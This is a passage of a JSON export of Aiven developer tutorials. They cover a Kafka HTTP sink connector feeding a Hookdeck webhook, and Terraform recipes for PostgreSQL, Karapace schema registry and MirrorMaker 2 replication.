knowledge","tags":[{"_key":"c695b62f17e9","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"7b23a8f11dd6","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"20b09e7626ec","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"49713d33ef53","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Social search in real time: Exploring Mastodon data with Apache Kafka® and OpenSearch®"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T14:19:54Z","_id":"bcf57de4-6697-4db2-bb66-a414779f57a5","_rev":"ZLvKaZvfbZlWBlGcpIqE5X","_type":"devArticle","_updatedAt":"2024-01-29T15:48:46Z","body":"There are many reasons why Apache Kafka®️ is such a powerful tool, and an important one is the extensive selection of ready to run connectors that can bring data in or out of Apache Kafka and connect it to any of the other components in your system.  \n\nOne of the best connectors available is the [HTTP sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/http-sink.html) because it's so adaptable. Today we'll use an HTTP Connector to send the data from a Kafka topic to any HTTP endpoint, giving you an easy way to integrate your data with your own code or any platform that supports webhooks. This lets you send your data to places there might not be a prebuilt connector for!\n\n## What we'll build\n\nAll data platforms are more fun when they have actual data in them, and some way to see what's happening. In this post we'll use:\n\n* Aiven's [Fake Data Producer](https://github.com/aiven/python-fake-data-producer-for-apache-kafka)\n* Aiven for Apache Kafka®\n* Aiven for Apache Kafka Connect®\n* [Hookdeck](https://hookdeck.com/) \n\nThe fake data producer generates and sends data to an Apache Kafka topic, Kafka Connect consumes the data and sends it over HTTP to a webhook endpoint. Hookdeck is a tool we'll use in this demo to mock a webhook.\n\n## Prerequisites\n\nYou will need:\n * An Aiven account - [sign up for the free trial](https://console.aiven.io/signup) if you don't have one already.\n * A Hookdeck account - [register for an account](https://dashboard.hookdeck.com/signup), the free plan is plenty for our purposes.\n * Python so that you can run the data producer.\n\n## Start at the end(point)\n\nStarting at the end seems counterintuitive, but by setting up the webhook endpoint now, we have the URL available when we configure the other parts of the setup.\n\nGo to your [Hookdeck dashboard](https://dashboard.hookdeck.com/), and create a new connection.\n * Create a new source and give it a name, for example `kafka-aiven`.\n * Create a new destination with **Mock API** as the type. Name it something more meaningful than `mock-endpoint`.\n * Choose the default ruleset.\n\n![Hookdeck connections screen with a webhook URL linked to a mock API](https://cdn.sanity.io/images/sczeoy4w/production/43266c6c979a8101d976cd00fb40c30561178f3e-1440x701.png)\n\nYour connection should now be set up, showing that requests to the `kafka-aiven` URL will be sent to the `mock-endpoint`.\n\nCopy the webhook URL from the source box, and put it somewhere safe. We need this later.\n\n\u003e If you're already curious about the webhook feature, you can paste the URL into your browser and see the request arrive in the dashboard on Hookdeck.\n\n## Create and configure Apache Kafka\n\nVisit the [Aiven Console](https://console.aiven.io), and choose or create a project.\n\nClick **Create service** and add the first service, Apache Kafka. Choose a cloud and region: a `business-4` plan size in your region is a good option, as the startup plan sizes are a little underpowered for connectors. We'll stop the services at the end of this post, so don't worry about running up a bill. Give your service a name, for example `kafka-demo`.\n\nWhile the service is building, we can configure it:\n* On the service overview page, enable the **Apache Kafka REST API (Karapace)** slider. This gives us a web interface to inspect and produces messages when we're working on this project.\n* In the **Topics** tab, select **Add topic** and create a topic to send data to. Give your topic a memorable name, like `user_activity` if you'll be sending user data to the topic. We'll need this topic name later to configure the connector. \n\nWith the streaming data platform in place, the next step is to add the connector to bring the data to another platform.\n\n## Create and configure the HTTP sink connector\n\nClick **Set up integration** and choose Apache Kafka Connect. Select the option to create a new service and again give your connect service a name such as `kafka-demo-connect`. Choose the same cloud and region to ensure the service is speedy. Pick a plan size such as `business-4`. When you're happy with your choices, select **Create and enable**, and your service will start building.\n\nFrom the service overview page of your Apache Kafka service, go to the **Integrations** tab, and click on the Kafka Connect service. In the **Connectors** tab, click **Create connector**. Pick the HTTP sink connector from the list.\n\nThis was the fun part, next is the tricky bit: configuring the connector. Here are the settings you need, by section:\n\nIn the **Common** tab:\n\n* **Connector name**: `kafka-to-http` would work, or a name that fits your project.\n* **Topics**: Set to `user_activity`, the topic we created earlier in this post.\n* **Key** and **Value**: Use the values ending in `StringConverter` for both fields.\n\nIn the **Connection** tab, input information about the HTTP endpoint we're sending data to:\n\n* `http.url`: the URL of the Hookdeck endpoint we created.\n* `http.authorization.type`: `none`  (warning: the value is case-sensitive).\n* `http.headers.content.type`: `application/json`. We'll be using JSON data in our sample data payloads later.\n\n![HTTP Sink connector configuration, with the fields filled in and visible](https://cdn.sanity.io/images/sczeoy4w/production/6e51bfa5d9a9d25701a50fa2a3ecf476df82457c-1440x701.png)\n\nOnce everything is in place, click **Create connector** to bring your ideas to life.\n\n\u003e If you see errors when setting up the configuration, go to the **Logs** tab of your Kafka Connect and Apache Kafka services for more detail.\n\nEverything is set up, all we need now is data!\n\n## Test with a single message\n\nTo test that our Apache Kafka connection to Hookdeck is configured correctly, let's send a single message. We enabled the Karapace REST features earlier, so we can do this through the Aiven web interface. If you have a favourite Kafka client, feel free to use that instead (we have [docs for some cool Kafka tools here](https://aiven.io/docs/products/kafka/howto/list-tools.html)). \n\nIn the **Topics** tab, click the three dots icon on the right hand side for the topic you created earlier such as `user_activity`, then click **Produce message**.\n\nThis defaults to JSON, so the only thing to do is add some Value data (the key isn't needed). You can send any valid JSON, but here's some test data to use if you'd like:\n\n```json\n{\n  \"user_id\": 4,\n  \"behavior\": \"buy\"\n}\n```\n\nClick **Produce**. You can inspect the messages on the topic by with the **Fetch messages** button. If you set the Format dropdown to JSON and then fetch, the messages come through as JSON.\n\nThe message is in our topic, but did the connector send it over to Hookdeck? Visit the [Hookdeck requests dashboard](https://dashboard.hookdeck.com/requests) and check that your message arrived.\n\nProducing one message at a time is hard work! Adding a data generator lets us see the connector in action.\n\n## Produce sample user data to the Apache Kafka topic\n\nTo see the connector performing its work, get Aiven's [fake data producer](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) to give us something to look at.\n\nClone the [GitHub repository](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) and install the dependencies with:\n\n```bash\npip install -r requirements.txt\n```\n\nTo connect to our Aiven for Apache Kafka service, we'll need to download the certificates to a directory called `certs/` in the newly-cloned project. Create the directory, then visit the Service overview page of the Apache Kafka service (note: not the Kafka Connect service) and download each of:\n\n* Access Key\n* Access Certificate\n* CA Certificate\n\nPlace all three files in the `certs/` directory.\n\nCopy the Host and Port values from the same Service overview page, to the `$HOST` and `$PORT` values in the command below. You can also configure `--topic-name` for which topic to use, `--nr-messages` for how many messages to send, and `--subject` for the type of sample data to be generated; I'm using `userbehaviour` to get some sample user website data, and you can find out about the alternatives on the project `README`. Run this from the root of the cloned project to send data into the topic:\n\n```\npython main.py \\\n  --security-protocol ssl \\\n  --cert-folder certs/ \\\n  --host $HOST \\\n  --port $PORT \\\n  --topic-name user_activity \\\n  --nr-messages 10 \\\n  --max-waiting-time 0 \\\n  --subject userbehaviour\n```\n\nIf everything went well, the [Hookdeck requests dashboard](https://dashboard.hookdeck.com/requests) shows the ten sample data messages have arrived as HTTP requests.\n\n![Sample data requests in the Hookdeck dashboard](https://cdn.sanity.io/images/sczeoy4w/production/62da093e059b5b2a353e386149b4fdeecdc790a7-1440x701.png)\n\nThe data from the producer was sent to the topic, picked up by the connector and sent out as a webhook, and received by Hookdeck over HTTP.\n\n## HTTP connector is full of possibilities\n\nHTTP is the universal data adapter: in this tutorial, using an HTTP sink gets your data from Apache Kafka and sends it somewhere that there isn't a Kafka Connector available for. You can send a webhook to any web endpoint, either in your own application or in another platform such as [Zapier](https://zapier.com/), then the webhook can trigger another event or make an easy integration with another platform.\n\nIn this example, Hookdeck was an excellent place to send the webhook to. It is a powerful gateway for webhooks whether using the mock server feature to inspect the requests as we did here, or using it to pass traffic either onwards to your application, or securely to a local development platform.\n\nThe HTTP sink connector is just one of the wide selection of connectors available for Apache Kafka, so take a look at the [list of connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins) and decide which one to try next!\n\n## Before you go: turn off services you don't need\n\nAs a final tip: if you have finished with the services you used, then it's good practice to power down or remove things you don't need. This avoids running up bills, or using up your trial credit.\n\nFor each of your Aiven services, visit the service overview page and either:\n* \"Power off service\" if you want to use it again, but don't need it now\n* \"Delete service\" if you don't plan to use these services again\n\n## Related resources\n\nSome handy links to the tools used in this post and resources showing how to use them.\n\n* Aiven's documentation for the [HTTP sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/http-sink.html)\n* The excellent open source [Python Fake Data Producer](https://github.com/aiven/python-fake-data-producer-for-apache-kafka)\n* [Hookdeck](https://hookdeck.com) which provided a soft landing and a nice web interface for our webhook data\n* A more detailed [blog post about producing fake data](https://aiven.io/developer/create-your-own-data-stream-for-kafka-with-python-and-faker) to give you more data ideas\n* More about [Aiven for Kafka Connect and a list of connectors](https://aiven.io/docs/products/kafka/kafka-connect.html)\n* [How to use your own connector with Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T13:19:48.253Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"f3d0eb5d2dd0","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-01-26T12:37:00.000Z","seo":{"_type":"metaData","metaDescription":"Let your data flow with the Apache Kafka®️ HTTP sink connector. In this tutorial, we show you step-by-step how it's done. Get informed in our Aiven blog!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ec4f7f7697116f749e26449e8bd300c7b431f46e-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-webhooks-http-sink"},"subtitle":"Let your data flow with the Apache Kafka®️ HTTP sink connector","tags":[{"_key":"cbc7dce2962d","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"02e906278234","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Webhook data from Apache Kafka®️ to the world"}
{"__i18n_lang":"en","_createdAt":"2023-08-21T13:53:37Z","_id":"ff85cd05-423b-4aef-99b2-ddb3079bc75c","_rev":"lhvtNBOlLYH5KiQFQ8ZUvl","_type":"devArticle","_updatedAt":"2024-01-29T15:49:06Z","body":"PostgreSQL® is a popular choice as an open source, relational database to run in production. This example shows how to use Terraform to create a single PostgreSQL service in a single cloud and region with some custom configurations applied to the service.\n\nThe following image shows that the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) calls the Aiven API under the hood to create an [Aiven for PostgreSQL®](https://aiven.io/postgresql) service on the Google Cloud Platform (Europe):\n\n:::mermaid\n\n   flowchart LR\n      id1[[Terraform]]\n      id2\u003eAiven Terraform Provider]\n      subgraph Aiven Platform\n      id3[(Aiven for PostgreSQL)]\n      end\n      id1 --\u003e id2 --\u003e id3\n:::\n\n\nThe following sample Terraform script stands up the single PostgreSQL service with some custom configurations. \n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started)\n to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, ``admin_username``, and ``admin_password``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n   \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n\nvariable \"admin_username\" {\n  description = \"Your preferred username for the PostgreSQL service\"\n  type        = string\n}\n\nvariable \"admin_password\" {\n  description = \"Your preferred password for the PostgreSQL service\"\n  type        = string\n}\n```\n\n The ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nadmin_username      = \"\u003cYOUR-PREFERRED-SERVICE-USERNAME\u003e\"\nadmin_password      = \"\u003cYOUR-PREFERRED-SERVICE-PASSWORD\u003e\"\n```\n\n## Services.tf file\n\n``services.tf`` file:\n\n```toml  \nresource \"aiven_pg\" \"pg\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"startup-4\"\n  service_name            = \"my-pg1-gcp-eu\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n  termination_protection  = true\n\n  pg_user_config {\n    pg_version                = 14\n    backup_hour               = 01\n    backup_minute             = 30\n    shared_buffers_percentage = 40\n\n    ip_filter_string    = [\"0.0.0.0/0\"]\n    admin_username = var.admin_username\n    admin_password = var.admin_password\n\n    ## project_to_fork_from  = \"source-project-name\" \n    ## service_to_fork_from  = \"source-pg-service\"   \n    ## pg_read_replica       = true                  \n\n    pg {\n      idle_in_transaction_session_timeout = 900\n      log_min_duration_statement          = 1000\n      deadlock_timeout                    = 2000\n    }\n  }\n}\n```\n  \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nWhen running a database in production, there are lots of fine tunings that need to happen. Let's go over some of these optional custom configurations used and understand when to use them. \n\nFirst, you can choose the PostgreSQL version using the ``pg_version`` parameter. A default version is chosen for you if you don't specify the version. ``backup_hour`` and ``backup_minute`` denote the hour and minute of the day (in UTC) when backup for the service is started. In this example, the backup starts at 1:30 AM UTC daily. ``shared_buffers_percentage`` sets the percentage of memory in your system that the database server uses for shared memory buffers.\nTo learn more about these settings, please refer to the PostgreSQL resource consumption docs mentioned under the **More resources** section. \n\nThe ``ip_filter_string`` parameter filters incoming connections based on the mentioned IP addresses. The example of **\"0.0.0.0/0\"** is an allow-all value. \n\nIf there are only specific IP addresses that you'd like to allow for clients, you'd put those IP addresses on this list. When you create an Aiven for PostgreSQL service, the database admin username and password are generated for you. You can set your preferred values by using ``admin_username`` and ``admin_password`` parameters.\n\nIf you wanted this PostgreSQL service to be a read-only replica of an existing PostgreSQL service, you could do that by declaring the ``project_to_fork_from``, ``service_to_fork_from`` and setting the value of ``pg_read_replica`` to **true**. Since the service in this example is not a read-only replica, these configuration lines are commented out.\n\nIf you choose to set ``pg_read_replica`` to **true**, then the custom ``admin_username`` and ``admin_password`` will no longer work because the configurations from the master node will be used.\n \nIf a transaction is waiting for a client query, there might be a time limit after which you want the session to time out. This is exactly what ``idle_in_transaction_session_timeout`` will do for you if you set a limit. Keep in mind that a value of zero, which is the default value, will disable the timeout.\n\nOnce you have some idea of how long a typical query statement should take to execute, ``log_min_duration_statement`` setting allows you to log only the ones that exceed some threshold you set. And then, you'll only see statements that take longer than the specified time to run. This can be extremely handy in finding the source of outlier statements that take much longer than most to execute.\n\nThe ``deadlock_timeout`` is the amount of time that PostgreSQL waits on a lock before it checks for a deadlock condition. The deadlock check is an expensive operation, so it is not run every time the server waits for a lock. The default is one second, but this can be increased for heavily loaded servers. All of these times are taken as milliseconds if specified without units.\n\n\n## More resources\n\nTo learn how to get started with Aiven Terraform Provider and specific PostgreSQL configurations for you use case, check out the following resources:\n\n- [What is PostgreSQL®](https://aiven.io/blog/an-introduction-to-postgresql)\n- [Configuration options for PostgreSQL](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [PostgreSQL Resource Consumption](https://www.postgresql.org/docs/current/runtime-config-resource.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T13:53:34.245Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"00de3cbdfb9a","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6ca03bbf6a0718a2a097dad4c4a4316c109faca5-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-custom-config-terraform"},"subtitle":"Set up a Aiven for PostgreSQL® database with configurations defined in Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"6fd37d00cb35","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"5c021f97b8b1","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Deploy a PostgreSQL® service with custom configurations"}
{"__i18n_lang":"en","_createdAt":"2023-08-21T11:28:13Z","_id":"b10e91b8-963a-415d-ae26-04a86831ab20","_rev":"VeNKqGNmt13PzvGhqsSu3q","_type":"devArticle","_updatedAt":"2024-01-29T15:48:45Z","body":"\nThis example shows how to setup [Karapace](https://github.com/aiven/karapace) - an open source HTTP API interface and schema registry, with [Aiven for Apache Kafka®](https://aiven.io/kafka) using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\nYou'll also enable the auto creation of Apache Kafka topics which will allow you to send message to topics that didn't exist already on the Apache Kafka cluster. In order to work directly with Kafka by producing and consuming messages over HTTP, the REST API feature will be enabled.\nTo learn more, check out [Create Apache Kafka® topics automatically](https://aiven.io/docs/products/kafka/howto/create-topics-automatically.html) page.  \n\n:::mermaid\n\n   flowchart LR\n      producer[Producer]\n      consumer[Consumer]\n      SchemaRegistry{{Schema Registry:\u003cbr /\u003e Karapace}}\n      producer --\u003e Kafka --\u003e consumer\n      producer --\u003e SchemaRegistry --\u003e consumer\n\n:::\n\n## Describe the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files \n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n   \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n      \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nHere is the sample Terraform file to stand-up a single Apache Kafka server and configure Karapace, Kafka REST, and auto creation of topics.\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_kafka\" \"demo-kafka\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"business-4\"\n  service_name            = \"demo-kafka\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n  kafka_user_config {\n    kafka_version = \"3.4\"\n    // Enables Karapace Schema Registry and REST\n    schema_registry = true\n    kafka_rest      = true\n    kafka {\n      auto_create_topics_enable = true\n    }\n  }\n}\n\nresource \"aiven_kafka_topic\" \"source\" {\n  project      = var.project_name\n  service_name = aiven_kafka.demo-kafka.service_name\n  topic_name   = \"topic-a\"\n  partitions   = 3\n  replication  = 2\n}\n```\n   \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```toml\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n\n```toml\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources.\n \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n   \nLet's test that each of these configurations are setup by Terraform. Once the Aiven for Apache Kafka service is running, from the *Overview* tab, ensure that *Apache Kafka REST API (Karapace)* and *Schema Registry (Karapace)* are toggled on.\n\nFor documentation on how to use Karapace, refer to the [Karapace GitHub repository](https://github.com/aiven/karapace). \nWithout the REST API option enabled, you won't be able to view the messages in the topics from the Aiven web console. If you navigate to the *Topics* tab on Aiven console and are able to browse the messages for a particular topic (the *Messages* button is enabled), that confirms that the REST API setting has been enabled. \n\nFinally, you can send messages to a non-existing topic (for example, ``topic-b``) on your Apache Kafka cluster and the message will be delivered thanks to the ``auto_create_topics_enable`` parameter being set to ``true``.\nBy default, in Aiven for Apache Kafka this features is turned off as safeguard against accidental topic creation. Either remove this parameter from the Terraform code or set ``auto_create_topics_enable`` parameter to ``false`` and run the ``terraform apply`` again. \nThis time, you won't be able to send messages to a non-existing topic.\n\n## More resources\n\nTo find more information on Karapace and Apache Kafka:\n\n- [The Karapace project](https://www.karapace.io/)\n- [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n- [What is Karapace](https://aiven.io/blog/what-is-karapace)\n- [Karapace strengthens schema management](https://aiven.io/blog/karapace-strengthens-schema-management)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T11:25:34.007Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"045824977162","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-karapace"},"subtitle":"Manage Apache Kafka® with the open source Karapace schema registry, and deploy both using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"6511c23ff609","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"61d48cb1c83f","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® with Karapace Schema Registry"}
{"__i18n_lang":"en","_createdAt":"2023-08-21T09:43:44Z","_id":"7b31ec64-0438-419f-90a1-9e0835e2436a","_rev":"VeNKqGNmt13PzvGhqsShiC","_type":"devArticle","_updatedAt":"2024-01-29T15:45:55Z","body":"From disaster recovery to isolating data for compliance reasons, businesses need to replicate data across their Apache Kafka® clusters, and Apache Kafka® MirrorMaker 2 is a perfect tool \nto do so. \n\nA single MirrorMaker 2 cluster can run multiple replication flows, and it has a mechanism for preventing replication cycles. This example sets up: \n\n* two [Aiven for Apache Kafka®](https://aiven.io/kafka) clusters (a source and a target)\n* an Aiven for Apache Kafka MirrorMaker 2 service\n* two service integrations between the Apache Kafka cluster and the MirrorMaker 2\n* a replication flow to move all the topics from the source cluster to the target cluster \n\nThe [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) is used to create all the required resources in a declarative style. The following image shows a unidirectional flow with the Apache Kafka MirrorMaker 2 replicating all the topics from ``DC1`` (source Kafka cluster) to ``DC2`` (target Kafka cluster):\n\n:::mermaid\n   flowchart LR;\n\n    subgraph DC2\n    DC1.TopicA\n    DC1.TopicB\n    DC1.TopicC\n    end;\n\n    subgraph MM\n    replication-flow--\u003eDC1.TopicA\n    replication-flow--\u003eDC1.TopicB\n    replication-flow--\u003eDC1.TopicC\n    end;\n\n    subgraph DC1\n    TopicA--\u003ereplication-flow\n    TopicB--\u003ereplication-flow\n    TopicC--\u003ereplication-flow\n    end;\n:::\n\n## Describe the setup\n\nHere is the sample Terraform file that will spin up two Apache Kafka services, an Apache Kafka MirrorMaker 2 service and the MirrorMaker 2 service will be configured with two cluster alias pointed to the source and target Apache Kafka clusters. \n\nThe service integrations ``source-kafka-to-mm`` and ``mm-to-target-kafka`` connect the Kafka clusters to the MirrorMaker 2 instance. The replication flow ``mm-replication-flow`` creates a unidirectional flow to populate the remote topics based on source \ntopics. \n\nThe ``\".*\"`` wildcard in the MirrorMaker 2 configuration means that all the topics from the source cluster will be replicated to the target cluster. However, since the flow is unidirectional, the ``topic-b`` will only be present in the target cluster (where it was originally created) and not the source cluster.\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n   \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_kafka_mirrormaker\" \"mm\" {\n  project      = var.project_name\n  cloud_name   = \"google-europe-west1\"\n  plan         = \"business-4\"\n  service_name = \"mm\"\n\n  kafka_mirrormaker_user_config {\n    ip_filter_string = [\n      \"0.0.0.0/0\"\n    ]\n\n    kafka_mirrormaker {\n      refresh_groups_interval_seconds = 600\n      refresh_topics_enabled          = true\n      refresh_topics_interval_seconds = 600\n    }\n  }\n}\n\nresource \"aiven_service_integration\" \"source-kafka-to-mm\" {\n  project                  = var.project_name\n  integration_type         = \"kafka_mirrormaker\"\n  source_service_name      = aiven_kafka.source.service_name\n  destination_service_name = aiven_kafka_mirrormaker.mm.service_name\n\n  kafka_mirrormaker_user_config {\n    cluster_alias = \"source\"\n  }\n}\n\nresource \"aiven_service_integration\" \"mm-to-target-kafka\" {\n  project                  = var.project_name\n  integration_type         = \"kafka_mirrormaker\"\n  source_service_name      = aiven_kafka.target.service_name\n  destination_service_name = aiven_kafka_mirrormaker.mm.service_name\n\n  kafka_mirrormaker_user_config {\n    cluster_alias = \"target\"\n  }\n}\n\nresource \"aiven_mirrormaker_replication_flow\" \"mm-replication-flow\" {\n  project        = var.project_name\n  service_name   = aiven_kafka_mirrormaker.mm.service_name\n  source_cluster = aiven_service_integration.source-kafka-to-mm.kafka_mirrormaker_user_config[0].cluster_alias\n  target_cluster = aiven_service_integration.mm-to-target-kafka.kafka_mirrormaker_user_config[0].cluster_alias\n  enable         = true\n\n  topics = [\n    \".*\",\n  ]\n\n  topics_blacklist = [\n    \".*[\\\\-\\\\.]internal\",\n    \".*\\\\.replica\",\n    \"__.*\"\n  ]\n}\n\nresource \"aiven_kafka\" \"source\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"source\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n\n  kafka_user_config {\n    kafka_version = \"3.2\"\n    kafka {\n      group_max_session_timeout_ms = 70000\n      log_retention_bytes          = 1000000000\n    }\n  }\n}\n\nresource \"aiven_kafka_topic\" \"source\" 